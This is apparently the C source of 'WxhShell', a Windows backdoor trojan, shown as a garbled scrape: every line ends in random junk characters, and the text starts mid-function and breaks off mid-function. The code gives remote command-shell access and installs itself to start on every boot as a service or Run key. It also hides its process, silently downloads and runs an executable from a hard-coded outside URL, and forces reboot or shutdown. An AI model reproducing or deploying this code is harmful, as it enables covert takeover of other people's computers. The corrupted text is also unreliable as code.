    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @U=y}vi8  
    if(Boot(SHUTDOWN)) EP@u4F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ![K\)7iKo  
    else { JS ^Cc  
    closesocket(wsh); n-8/CBEH(  
    ExitThread(0); %z@ Z^Jv  
    } P _fCb  
    break; w~v6=^  
    } qzNb\y9G  
  // 获取shell Jyg1z,B <  
  case 's': { %]I#]jR  
    CmdShell(wsh); &zy%_U2%  
    closesocket(wsh); AVD hgJv  
    ExitThread(0); M^oL.'  
    break; xP'0a  
  } VnW6$W?g  
  // 退出 bdstxjJ`  
  case 'x': { :5/Ue,~ag  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |OCiq|#  
    CloseIt(wsh); 5&Yt=)c\  
    break; zs]ubJC@  
    } >&;J/ME  
  // 离开 ]'Eg2(wy  
  case 'q': { zGU MH7 M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?:9y !Q=  
    closesocket(wsh); Vv+nq_  
    WSACleanup(); 7<]&pSt=  
    exit(1); t'eu>a1D  
    break; *O'|NQhNx>  
        } b>p_w%d[[J  
  } -y!Dg6 A  
  } :'Gn?dv|  
<jJ'T?,  
  // 提示信息 05ClPT\BCr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Z,WKus  
} ]*| hd/j  
  } 9*I[q[>9  
=JE<oVP8  
  return; wicsf<]  
} #Q7:Mu+  
L^t%p1R  
// shell模块句柄  DlCN  
int CmdShell(SOCKET sock) Wo&22,EB  
{ +I5\ `By=  
STARTUPINFO si; X8Z) W?vu  
ZeroMemory(&si,sizeof(si)); ]'xci"qV`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gBV4IQ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^V;r  
PROCESS_INFORMATION ProcessInfo; %!Eh9C*  
char cmdline[]="cmd"; d)uuA;n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZVH 9je  
  return 0; )x\%*ewY  
} Xk|a%%O*H  
i/_rz.c~3  
// 自身启动模式 S>x@9$( ym  
int StartFromService(void) }Y!V3s1bm  
{ YM;ro5_KF  
typedef struct c`3`}&g#  
{ C0w_pu  
  DWORD ExitStatus; Ux',ma1JK  
  DWORD PebBaseAddress; ( ww4(  
  DWORD AffinityMask; KB~[nZs7  
  DWORD BasePriority; 'vVt^h2  
  ULONG UniqueProcessId; }\<=B%{  
  ULONG InheritedFromUniqueProcessId; 7#"NKxb  
}   PROCESS_BASIC_INFORMATION; :|5 m"X\  
cu}(\a  
PROCNTQSIP NtQueryInformationProcess; UUWRC1EtI  
>b\|%=(x!*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v0) %S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; E!}'cxb^  
g0biw?  
  HANDLE             hProcess; fsOlg9  
  PROCESS_BASIC_INFORMATION pbi; PtuRXx  
BDfMFH[1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X_X7fRC0  
  if(NULL == hInst ) return 0; gHp4q!SJ7  
yx?oxDJg  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); STu(I\9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); JzywSQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }*!L~B!  
QyTN  V  
  if (!NtQueryInformationProcess) return 0; -ABj>y[  
U*K4qJ6U  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )( 3)^/Xz  
  if(!hProcess) return 0; 5,XEN$^  
*.w6 =}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1 M!4hM Q  
f 1SKOq  
  CloseHandle(hProcess); O2Y|<m  
oVk!C a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oNXYBeu+  
if(hProcess==NULL) return 0; Iw[zN[oz  
9-j-nx @)  
HMODULE hMod; 0aR.ct%  
char procName[255]; .6[8$8c  
unsigned long cbNeeded; .sit5BX  
nl2Lqu1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jityb}Z"  
OF1^_s;  
  CloseHandle(hProcess); BIMX2.S1o  
[YlRz  
if(strstr(procName,"services")) return 1; // 以服务启动 $H@   
oAN,_1v)  
  return 0; // 注册表启动 ~-sgk"$  
} IG}yGGn  
6E_~8oEl  
// 主模块 ]+pE1-p\  
int StartWxhshell(LPSTR lpCmdLine) Rh~j -;  
{ [%LGiCU]  
  SOCKET wsl; `@\FpV[|P  
BOOL val=TRUE; ?-&k?I  
  int port=0; ?7CdJgJp  
  struct sockaddr_in door; 2vUcSKG7  
D3g5#.$,}>  
  if(wscfg.ws_autoins) Install(); +-t&li%F  
(Q `Ps /  
port=atoi(lpCmdLine); 8yI4=P"F,  
~^Al#@  
if(port<=0) port=wscfg.ws_port; ]c_lNHssmq  
hQ:wW}HWW  
  WSADATA data; o\tw)_ >  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =?Co<972Z  
Z1W%fT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Pt-mLINvG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :k_)Bh?+  
  door.sin_family = AF_INET; #Z]Cq0=  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h3>u[cX%  
  door.sin_port = htons(port); b't6ekkN  
, =*^XlO=c  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7dB_q}<  
closesocket(wsl); A Ef@o+A  
return 1; ]_s;olKNI  
} HIj:?y  
o|84yT!~  
  if(listen(wsl,2) == INVALID_SOCKET) { A0.xPru1p  
closesocket(wsl); ={h^X0<s9  
return 1; k%-y \WM  
} "7(@I^'t6  
  Wxhshell(wsl); U;ujN8  
  WSACleanup(); OPq6)(Q  
F-~Xbz%  
return 0; k=Wt57jt  
*mn9CVZ(}M  
} XkW@"pf&Fh  
@/01MBs;  
// 以NT服务方式启动 b<r*EY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [r]<~$  
{ M?gZKdj  
DWORD   status = 0; $y<`Jy]+)~  
  DWORD   specificError = 0xfffffff; _wg~5'w8  
v7+|G'8M`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kiin78W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S._h->5f  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HF&d HD2f  
  serviceStatus.dwWin32ExitCode     = 0; i)'u!V  
  serviceStatus.dwServiceSpecificExitCode = 0; dj,lbUL  
  serviceStatus.dwCheckPoint       = 0; 3uvl'1(%J  
  serviceStatus.dwWaitHint       = 0; rP6k}  
l~f9F`~'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rw@N=`4P  
  if (hServiceStatusHandle==0) return; jt @2S  
BlqfST#6  
status = GetLastError(); 2mx }bj8  
  if (status!=NO_ERROR) F')E)tV  
{ \"yR[.Q?   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T sJ71  
    serviceStatus.dwCheckPoint       = 0; /3"S_KE1@+  
    serviceStatus.dwWaitHint       = 0; &7,/^ >">  
    serviceStatus.dwWin32ExitCode     = status; M-!#-l  
    serviceStatus.dwServiceSpecificExitCode = specificError; Z +<Y.*6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); su-0G?c  
    return; q{yzux  
  } >X>]QMfh  
@X/-p3729  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; z%6egi>  
  serviceStatus.dwCheckPoint       = 0; 3U?^49bJ  
  serviceStatus.dwWaitHint       = 0; SN QLEe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l29AC}^  
} ]?jmRk^ .  
Gv(n2r  
// 处理NT服务事件,比如:启动、停止 <(qdxdUp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #TP Y%  
{ G0r(xP?  
switch(fdwControl) ,5sv;  
{ {5fq4A A6  
case SERVICE_CONTROL_STOP: noT}NX%  
  serviceStatus.dwWin32ExitCode = 0; zzKU s"u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {#{nU NW  
  serviceStatus.dwCheckPoint   = 0; ;ZrFy=Iv  
  serviceStatus.dwWaitHint     = 0; @[rlwwG,  
  { xJvalb   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P_@ty~u  
  } +A_jm!tJS(  
  return; 1@<>GDB9  
case SERVICE_CONTROL_PAUSE: B7'2@+(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /hyCR___  
  break; Ga *  
case SERVICE_CONTROL_CONTINUE: URTJA<r8D  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4T<dI6I0  
  break; |@ZyD$?  
case SERVICE_CONTROL_INTERROGATE: jm |zn  
  break; Rn whkb&&  
}; y+VR D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k#@)gL  
} %bnjK#o"Q  
;u%4K$   
// 标准应用程序主函数 3'`X_C|d53  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -g vS 3`lX  
{ NQvT4.*  
495(V(+5  
// 获取操作系统版本 h"N#/zQ  
OsIsNt=GetOsVer(); Qnp.Na[JV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); piiO5fK|  
_lk5\bu  
  // 从命令行安装 |VoYFoiQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); =u&NdMy  
W!Rr_'yFe)  
  // 下载执行文件 7.v{=UP  
if(wscfg.ws_downexe) { ~HgN'#Y?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZW8;?# _  
  WinExec(wscfg.ws_filenam,SW_HIDE); *;(GL  
} v\COl*  
xm<sH!,j  
if(!OsIsNt) { uFi[50  
// 如果时win9x,隐藏进程并且设置为注册表启动 y\[GS2nTX  
HideProc(); a% 82I::t  
StartWxhshell(lpCmdLine); &sPu 3.p  
} Hkj| e6  
else O`(it %Ho!  
  if(StartFromService()) f]^ @z<FC  
  // 以服务方式启动 {S5D~A*a+  
  StartServiceCtrlDispatcher(DispatchTable); >z8y L+  
else }(if|skau  
  // 普通方式启动 E{|n\|  
  StartWxhshell(lpCmdLine); +Sdki::  
$U5$*R@jo[  
return 0; X1h*.reFAL  
} v{>9&o.J  
$S!WW|9j.  
#*K!@X  
X<$8'/p r  
=========================================== : ]JsUb{YK  
\"@`Rf   
>za=v  
L`Q9-#Y  
`r8bBzr@%  
8 K>Ejr  
" ,}42]%$ G  
9]/j u  
#include <stdio.h> W.U|mNJ$  
#include <string.h> \~q cYp  
#include <windows.h> o!t1EPJE*  
#include <winsock2.h> -wV0Nv(V8  
#include <winsvc.h> 38q0iAH  
#include <urlmon.h> 'r?OzFtxh  
g7W\  &  
#pragma comment (lib, "Ws2_32.lib") I*)eP||  
#pragma comment (lib, "urlmon.lib") ma4r/8Q  
gbRdng7(}  
#define MAX_USER   100 // 最大客户端连接数 /-)|dP  
#define BUF_SOCK   200 // sock buffer -`ykVH gg  
#define KEY_BUFF   255 // 输入 buffer U^X8{,8O  
-?<L"u  
#define REBOOT     0   // 重启 5Bc)QKh`l|  
#define SHUTDOWN   1   // 关机 ? &;d)TQ  
ed)!Snz   
#define DEF_PORT   5000 // 监听端口 N[,/VCW  
pV))g e\  
#define REG_LEN     16   // 注册表键长度 4.mbW  
#define SVC_LEN     80   // NT服务名长度 C(*)7| m  
A,s .<TG  
// 从dll定义API @$'1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }tT*Ch?u  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9^c"HyR  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {VE$i2nC8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8m"5J-uIi  
P%Ux-0&  
// wxhshell配置信息 S\UM0G}v  
struct WSCFG { 9wFQ<r  
  int ws_port;         // 监听端口 KGX?\#-  
  char ws_passstr[REG_LEN]; // 口令 U!x\oLP  
  int ws_autoins;       // 安装标记, 1=yes 0=no QcQ|,lA.HI  
  char ws_regname[REG_LEN]; // 注册表键名 .el_pg  
  char ws_svcname[REG_LEN]; // 服务名 Rx=pk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FR@ dBcJUU  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7u^6`P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gu_Rf&:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0IM#T=V  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !kfnqe?|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [}_ar  
7e"(]NC84  
}; uNY]%[AnJ  
] H[FZY  
// default Wxhshell configuration MY[" zv  
struct WSCFG wscfg={DEF_PORT, Fk,3th  
    "xuhuanlingzhe", #B)`dA0a  
    1, tgYIM`f  
    "Wxhshell", :PaFC{O)*  
    "Wxhshell", O_PC/=m1@  
            "WxhShell Service", $mOK|=tI_  
    "Wrsky Windows CmdShell Service", {:enoV"  
    "Please Input Your Password: ", y!^RL,HIL  
  1, /(nA)V( :  
  "http://www.wrsky.com/wxhshell.exe", QrPWS-3~!  
  "Wxhshell.exe" q9pcEm4?  
    }; !J' xk  
;SVF"Uo  
// 消息定义模块 i9M6%R1m}E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m%E7V{t  
char *msg_ws_prompt="\n\r? for help\n\r#>";  D-4 PEf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Dx[t?-  
char *msg_ws_ext="\n\rExit."; {ersXQ:  
char *msg_ws_end="\n\rQuit."; e"|9%AW@<  
char *msg_ws_boot="\n\rReboot..."; J:mOg95<  
char *msg_ws_poff="\n\rShutdown..."; %/MK$  
char *msg_ws_down="\n\rSave to "; wL 5).`oq  
s}9aZ  
char *msg_ws_err="\n\rErr!"; 1|cmmUM-'v  
char *msg_ws_ok="\n\rOK!"; Gf'V68,l$  
xI~\15PhG  
char ExeFile[MAX_PATH]; =4MiV]  
int nUser = 0; FM7N|] m  
HANDLE handles[MAX_USER]; knBT(x'+  
int OsIsNt; 6<t\KMd  
73.o{V  
SERVICE_STATUS       serviceStatus; 6v1#i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %9NGVC  
g}qK$>EPS  
// 函数声明 vFCp= 8h  
int Install(void); I"JT3[*s  
int Uninstall(void); ESASsRzk  
int DownloadFile(char *sURL, SOCKET wsh); $@&bK2@.(  
int Boot(int flag); ($W9 ?  
void HideProc(void); ccm <rZ7  
int GetOsVer(void); Ruk6+U  
int Wxhshell(SOCKET wsl); SqTm/ t  
void TalkWithClient(void *cs); 3nK'yC  
int CmdShell(SOCKET sock); ); |~4#  
int StartFromService(void); [bT@Y:X@`  
int StartWxhshell(LPSTR lpCmdLine); <qRw! 'S^  
`g :<$3}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I@L-%#@R1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6OTxtk  
#lLL5ji  
// 数据结构和表定义 Da@tpKU)p  
SERVICE_TABLE_ENTRY DispatchTable[] = H_8@J  
{ "a"[B'  
{wscfg.ws_svcname, NTServiceMain}, ld@f:Zali  
{NULL, NULL} _Wb-&6{  
}; v*BA\&  
S5Px9&N8(  
// 自我安装 VBCj.dw  
int Install(void) 8w*fg6,=  
{ aQ~x$T|  
  char svExeFile[MAX_PATH]; Mm[%v t40  
  HKEY key; &1':s|c  
  strcpy(svExeFile,ExeFile); Jc%>=`f  
iGU N$  
// 如果是win9x系统,修改注册表设为自启动 Io"=X! k  
if(!OsIsNt) { UU ,)z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $z,bA*j9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -owfuS?i=  
  RegCloseKey(key); #i ]@"R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <0LB]zDWe6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wFd*6%  
  RegCloseKey(key); F9+d7 Y$  
  return 0;  vo(?[[  
    } X)&Z{ V>  
  } wRiP5U,  
} iN {TTy  
else { 1)PR]s:-m@  
ntkinbbD  
// 如果是NT以上系统,安装为系统服务 bA^a@ lv a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z vYDE]  
if (schSCManager!=0) P`%ppkzV6  
{ *HXq`B  
  SC_HANDLE schService = CreateService X%F9.<4  
  ( RU >vnDaC  
  schSCManager, f%}+.e D  
  wscfg.ws_svcname, jN<]yhqf  
  wscfg.ws_svcdisp, QNtr=  
  SERVICE_ALL_ACCESS, bn(Scl#@K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7Rh:+bT  
  SERVICE_AUTO_START, JX/d;N7a  
  SERVICE_ERROR_NORMAL, OLR1/t`V  
  svExeFile, !S-hv1bE  
  NULL, }-Ma ~/  
  NULL, dDuA%V0  
  NULL, 6b8Klrar!  
  NULL, pnG8c<  
  NULL s+w<!`-  
  ); Y'HF^jv]R  
  if (schService!=0) N*MR6~z4  
  { 7cy~qg  
  CloseServiceHandle(schService); ~R8yj(  
  CloseServiceHandle(schSCManager); @} Z/{Z[@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); % b&BLXW  
  strcat(svExeFile,wscfg.ws_svcname); /uc/x+(_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W|Tew-H{h_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %i "  
  RegCloseKey(key); *Fc&DQT(  
  return 0; ;' W5|.ZN  
    } '_<`dzz  
  } 3"hR:'ts  
  CloseServiceHandle(schSCManager); .#eXNyCe  
} hpyre B  
} S p )}  
"$'~=' [  
return 1; 6K y;1$  
} &;skB.  
^0 lPv!2  
// 自我卸载 4|L@oTzx  
int Uninstall(void) dtBV0$  
{ 3# (5Kco  
  HKEY key; T> 'Vaxo  
Iz8 ^? >X  
if(!OsIsNt) { !U!E_D.O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2"'8x?.V  
  RegDeleteValue(key,wscfg.ws_regname); Cr%r<*s  
  RegCloseKey(key); y~=hM   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i+Dgw  
  RegDeleteValue(key,wscfg.ws_regname); cs M|VNE>  
  RegCloseKey(key); S}f<@-16P  
  return 0; )89jP088V  
  } Rqz()M  
} 7jbm w<d)9  
} I`kp5lGD2  
else { m wCnP8:K  
e;'T?&t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); T!A}ipqb  
if (schSCManager!=0) F?ebY k1  
{ 9GwsQ \  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >[: 2  
  if (schService!=0) HXHPz 4  
  { =eoxT  
  if(DeleteService(schService)!=0) { N6[^62  
  CloseServiceHandle(schService); .rm7Sd4K  
  CloseServiceHandle(schSCManager); Umt ia~x=&  
  return 0; Ve1] ECk  
  } IpXhb[UZ?  
  CloseServiceHandle(schService); \KXEw2S  
  } z}tp0~C  
  CloseServiceHandle(schSCManager); mO> M=2A  
} @<=#i  
} z=_{jjs  
PI \,`^)y  
return 1; ;T+U&U0d|  
} s3Ce]MH  
]r1{%:8  
// 从指定url下载文件 wT= hO+  
int DownloadFile(char *sURL, SOCKET wsh) #/dde9y  
{ jGhg~-m  
  HRESULT hr; Z^6(&Rh  
char seps[]= "/"; 8#u_+;,p  
char *token; UeMe4$m  
char *file; 15 11<,  
char myURL[MAX_PATH]; "BfmX0&?  
char myFILE[MAX_PATH]; 73ljW  
3F}KrG  
strcpy(myURL,sURL); 5yiiPK$qr  
  token=strtok(myURL,seps); f1$mh1J W  
  while(token!=NULL) m=,c,*>  
  { Q_.c~I}yV  
    file=token; /j/%wT2m  
  token=strtok(NULL,seps); 08?MS_  
  } SvP\JQ<c  
k1U8wdoT  
GetCurrentDirectory(MAX_PATH,myFILE); }a1Sfl@`3  
strcat(myFILE, "\\"); ASa!yV=g  
strcat(myFILE, file); aZ>\*1   
  send(wsh,myFILE,strlen(myFILE),0); i!oj&&  
send(wsh,"...",3,0); dKQV4dc>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G1_@! 4  
  if(hr==S_OK) cu`J2vm3  
return 0; vW-`=30  
else ,wi=!KzX  
return 1; 9PqgBq   
U"Hquo  
} 3t{leuO'  
lO:{tV  
// 系统电源模块 &N_c-@2O  
int Boot(int flag) 7QiCZcb\  
{ xyjV dD\  
  HANDLE hToken; nCMa$+  
  TOKEN_PRIVILEGES tkp; z12But\<  
X5|/s::u  
  if(OsIsNt) {  5vF}F^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uBq3.+,x*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u\6]^T6  
    tkp.PrivilegeCount = 1; :+Q"MIU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;Fem<p)V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); za]p,bMX  
if(flag==REBOOT) { q VdC?A|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V<V\0n!0  
  return 0; .!8X]trEg  
} i;hc]fYb=K  
else { niHL/\7u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $dp#nyP  
  return 0; -A%?T"  
} rYFau1  
  } .`& /QiD  
  else { iQ{&&>V%  
if(flag==REBOOT) { IqCCfsf4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @fH&(@  
  return 0; [x<6v}fRn  
} YqSXi~.  
else { )ClMw!ZrU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N.{jM[\F  
  return 0; #>:(#^Uu  
} \FoxKOTp  
} x:?a;muf  
`<}V !Lo  
return 1; M=AvD(+ha  
} ljJz#+H2_  
O GFE*  
// win9x进程隐藏模块 hiMyFvA4  
void HideProc(void) <P^hYj-swh  
{ +~4bB$6*4)  
5{FM#@  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1U7,X6=~  
  if ( hKernel != NULL ) |#&V:GZp  
  { &=-e`=qJ'6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /iUUM t'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :G`L3E&1s  
    FreeLibrary(hKernel); \+{t4Im  
  } lkg"'p{  
=F'M~3M   
return; J`r,_)J"2  
} G*(K UG>  
=a9etF%B  
// 获取操作系统版本 ~#x :z ^U  
int GetOsVer(void) NuD[-;N]  
{ |)-|2cPRur  
  OSVERSIONINFO winfo; b4v(k(<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); jJUGZVM6)  
  GetVersionEx(&winfo); &]VQR2J}:  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) skI(]BDf  
  return 1; $7UoL,N>  
  else /bmXDDYH4  
  return 0; feI./E  
} |"R_-U  
3^\?>C7  
// 客户端句柄模块 PEW4J{(W  
int Wxhshell(SOCKET wsl) xJ~ gT  
{ BIV<ti$.  
  SOCKET wsh; Y$`eg|$  
  struct sockaddr_in client; qX5yN| A4  
  DWORD myID; ;}/U+`=D?  
tyEPU^PM  
  while(nUser<MAX_USER) I /On3"U%  
{ SE^j=1  
  int nSize=sizeof(client); j,C,5l=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H|;*_  
  if(wsh==INVALID_SOCKET) return 1; 4mN].X[,  
X*!Dc,0.k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =`Po<7D  
if(handles[nUser]==0) X(k{-|9]  
  closesocket(wsh); KdT[*-  
else DH:GI1Yu>I  
  nUser++; GIm " )}W  
  } 46bl>yk9<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \.H9$C$  
g@~!kh,TH  
  return 0; ](W5.a,-$L  
} D XV@DQ  
7}4'dW.  
// 关闭 socket 7G5y)Qb  
void CloseIt(SOCKET wsh) 0n:?sFY>  
{ ?;|@T ty%  
closesocket(wsh); b!0DH[XKV  
nUser--; =&A!C"qK4[  
ExitThread(0); :)#hrFp  
} weAn&h|  
*u>lx!g  
// 客户端请求句柄 7tSJniB  
void TalkWithClient(void *cs) /O|:{LQ  
{ )Hbb&F  
{O^TurbTFA  
  SOCKET wsh=(SOCKET)cs; l{Jt sI  
  char pwd[SVC_LEN]; $Y6I_U  
  char cmd[KEY_BUFF]; l|YT[LR7  
char chr[1]; $. %L  
int i,j; LY]nl3{E  
kE/`n],1U  
  while (nUser < MAX_USER) { 7J9l.cM3  
Hm%g_Mt  
if(wscfg.ws_passstr) { DY9fF4[9a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  i"vawxm  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9!9> ?Z  
  //ZeroMemory(pwd,KEY_BUFF); EM=w?T  
      i=0; 0YzsA#yv  
  while(i<SVC_LEN) { ^Q0&.hL@  
?Jt$a;  
  // 设置超时 t5.`! 3EO  
  fd_set FdRead; X rF3kz!44  
  struct timeval TimeOut; A1^Ga5 B>  
  FD_ZERO(&FdRead); VFv9Q2/.  
  FD_SET(wsh,&FdRead); M`GP^Ta  
  TimeOut.tv_sec=8; 5Go0}'*%  
  TimeOut.tv_usec=0; Q48+O?&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }e<'BIM E  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o+nG3kRD  
xXX/]x>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A\K,_&x1Z  
  pwd=chr[0]; )^4hQ3BS  
  if(chr[0]==0xd || chr[0]==0xa) { ^q ;Cx7T_p  
  pwd=0; FigR1/3o'6  
  break; ^ [k0k(_  
  } 3{"byfO#%  
  i++; IU@_)I+6  
    } W wuZ(>|  
>$\Bu]{1  
  // 如果是非法用户,关闭 socket }g`Gh|C  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8L%M<JRg~  
} -hWC_X:9jP  
Y\xUT>(J7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x?"#gK`3;  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nnNv0 ?>d(  
V!4a*,Pz  
while(1) { V/PAi.GZ  
Py|;kF~![  
  ZeroMemory(cmd,KEY_BUFF); j{"z4Y4  
+$47v$p  
      // 自动支持客户端 telnet标准   {`% hgR  
  j=0; 5IW8=$k~.)  
  while(j<KEY_BUFF) { *8bK')W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hq#kvvi{f  
  cmd[j]=chr[0]; L=O lyHO  
  if(chr[0]==0xa || chr[0]==0xd) { +\0T\;-Xe  
  cmd[j]=0; OL'P]=U  
  break; \fZiL!E^7  
  } c'Z: 9?#5  
  j++; B^fT>1P  
    } t9FDU  
+2RNZEc  
  // 下载文件 fW?sYC'  
  if(strstr(cmd,"http://")) {  ~,"N[Q  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A>=E{  
  if(DownloadFile(cmd,wsh)) ju|]Qlek  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6;o3sf@Tf  
  else xRum*}|4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vJ"i.:Gf4  
  } NjX[;e-u  
  else { BcQEG *N  
E{4 e<%Y,  
